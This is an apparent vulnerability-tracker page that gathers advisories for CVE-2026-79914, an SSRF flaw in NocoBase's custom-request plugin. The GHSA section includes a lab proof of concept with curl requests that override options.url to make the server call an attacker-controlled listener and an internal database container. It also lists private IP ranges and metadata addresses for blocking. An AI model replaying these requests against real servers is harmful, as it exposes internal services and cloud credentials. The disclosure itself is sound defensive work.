Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

NocoBase: SSRF in customRequests:send via runtime options.url override

CVSS 3.1 4.3 MEDIUMEUVD CVSS 3.1 4.3 CVSS 3.1 · [email protected] · Secondary 4.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by @nocobase/plugin-action-custom-request 2.1.15Fixed by @nocobase/plugin-action-custom-request 2.2.0-alpha.4KEV status unknown

cve-program · CVE-2026-79914

Published

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.

Read the publisher's advisory

euvd · EUVD-2026-121706

Published

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.

Read the publisher's advisory

nvd · CVE-2026-79914

Published

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.

Read the publisher's advisory

osv · GHSA-wrr5-j383-f7h2

Published

### Summary A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin. A low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs. * Product: NocoBase * Version: v2.1.10 * Component: `@nocobase/plugin-action-custom-request` * Severity: Moderate * Required privilege: authenticated low-privileged user / member Testing was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested. Lab environment: * Docker image: `nocobase/nocobase:latest-full` * Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9` * Database: PostgreSQL 16 * Containers: `nocobase-lab`, `nocobase-postgres` * Docker network: `172.19.0.0/16` * Important environment variable: `SERVER_REQUEST_WHITELIST` was not set --- ### Details The vulnerable endpoint is: ```http POST /api/customRequests:send?filterByTk=<key> ``` The `customRequests:send` action is allowed for any logged-in user: ```ts // plugin-action-custom-request/src/server/plugin.ts this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn'); ``` The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL: ```ts // plugin-action-custom-request/src/server/actions/send.ts const mergedOptions = { ...(requestConfig.options || {}), ...omitNullAndUndefined(runtimeOptions || {}), }; const { url, ...options } = mergedOptions; ``` The URL is therefore attacker-controlled when the low-privileged user sends a request body such as: ```json { "options": { "url": "http://attacker-controlled-host:18080/ssrf-proof", "method": "GET" } } ``` If `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed: ```ts // packages/core/utils/src/server-request.ts const whitelist = process.env.SERVER_REQUEST_WHITELIST; if (!whitelist || !whitelist.trim()) return; ``` As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests. --- ### PoC #### Step 1: Admin creates a valid Custom Request config First, an administrator creates a valid Custom Request config. This is a setup step only. ```bash BASE="http://127.0.0.1:13000" curl -i -s -X POST "$BASE/api/customRequests:create" \ -H "Authorization: Bearer <ADMIN_TOKEN>" \ -H "Content-Type: application/json" \ --data '{ "key": "report-ssrf-demo", "options": { "url": "https://www.example.com/", "method": "GET" } }' ``` Expected result: ```http HTTP/1.1 200 OK ``` If the key already exists, this setup step can be skipped. Evidence: <img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" /> --- #### Step 2: Start an attacker-controlled HTTP listener On the attacker-controlled host in the local lab: ```bash mkdir -p /tmp/ssrf-poc cd /tmp/ssrf-poc echo "SSRF OK - request came from NocoBase server" > ssrf-proof python3 -m http.server 18080 --bind 0.0.0.0 ``` Example attacker host IP in the local lab: ```text 192.168.1.139 ``` Evidence: <img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" /> --- #### Step 3: Low-privileged user triggers SSRF by overriding options.url The low-privileged user calls `customRequests:send` and overrides `options.url` at runtime: ```bash BASE="http://127.0.0.1:13000" KALI_IP="192.168.1.139" curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \ -H "Authorization: Bearer <LOWPRIV_TOKEN>" \ -H "Content-Type: application/json" \ --data "{ \"options\": { \"url\": \"http://$KALI_IP:18080/ssrf-proof\", \"method\": \"GET\" } }" ``` Expected response: ```http HTTP/1.1 200 OK SSRF OK - request came from NocoBase server ``` Evidence: <img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" /> --- #### Step 4: Attacker-controlled listener receives the server-side request The attacker-controlled HTTP listener receives: ```text GET /ssrf-proof HTTP/1.1 ``` This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request. Evidence: <img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" /> --- #### Step 5: Internal service reachability test The same low-privileged user can target an internal Docker service: ```bash curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \ -H "Authorization: Bearer <LOWPRIV_TOKEN>" \ -H "Content-Type: application/json" \ --data '{ "options": { "url": "http://nocobase-postgres:5432/", "method": "GET" } }' ``` Observed response: ```json {"message":"socket hang up"} ``` This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed. --- ### Impact A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests. Potential impact includes: * internal service enumeration * access to services only reachable from the server-side network * Docker host gateway reachability testing * reading responses from internal HTTP services when response bodies are returned * potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked * use of the NocoBase server as a trusted network proxy Confirmed in the local lab: * attacker-controlled HTTP listener received a request from the NocoBase server * internal PostgreSQL container `nocobase-postgres:5432` was reachable * Docker host gateway reachability was confirmed This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server. --- ### Recommended Fix 1. Restrict `customRequests:send` to administrators or specifically authorized roles. ```diff - this.app.acl.allow('customRequests', ['send'], 'loggedIn'); + this.app.acl.allow('customRequests', ['send'], 'admin'); ``` 2. Do not allow low-privileged users to override stored request URLs at runtime. 3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images. 4. Block private/internal IP ranges by default, including: ```text 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 169.254.0.0/16 ::1/128 fc00::/7 ``` 5. Resolve DNS and validate the final resolved IP address before making the outbound request. 6. Revalidate the target after redirects. 7. Add SSRF regression tests for: ```text localhost 127.0.0.1 Docker service names private IP ranges Docker gateway IP 169.254.169.254 redirects to private IP ranges ```

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-79914

Published

nocobase

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "nocobase",
                    "product": "nocobase",
                    "versions": [
                        {
                            "version": ">= 2.1.0, < 2.1.15",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-121706

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 10, 2026, 5:56:36 PM

dateUpdated: Nov 14, 2026, 2:59:18 AM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-79914

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-11-10T18:17:48.183

lastModified: 2026-11-14T03:17:30.460

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-wrr5-j383-f7h2

Published

@nocobase/plugin-action-custom-request

npm

SEMVER · introduced 2.1.0-alpha.8 → fixed 2.1.15

@nocobase/plugin-action-custom-request

npm

SEMVER · introduced 2.2.0-alpha.1 → fixed 2.2.0-alpha.4

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 19:06 UTC · 254 of 275 readable · 250 fully read · documentation 468/469 current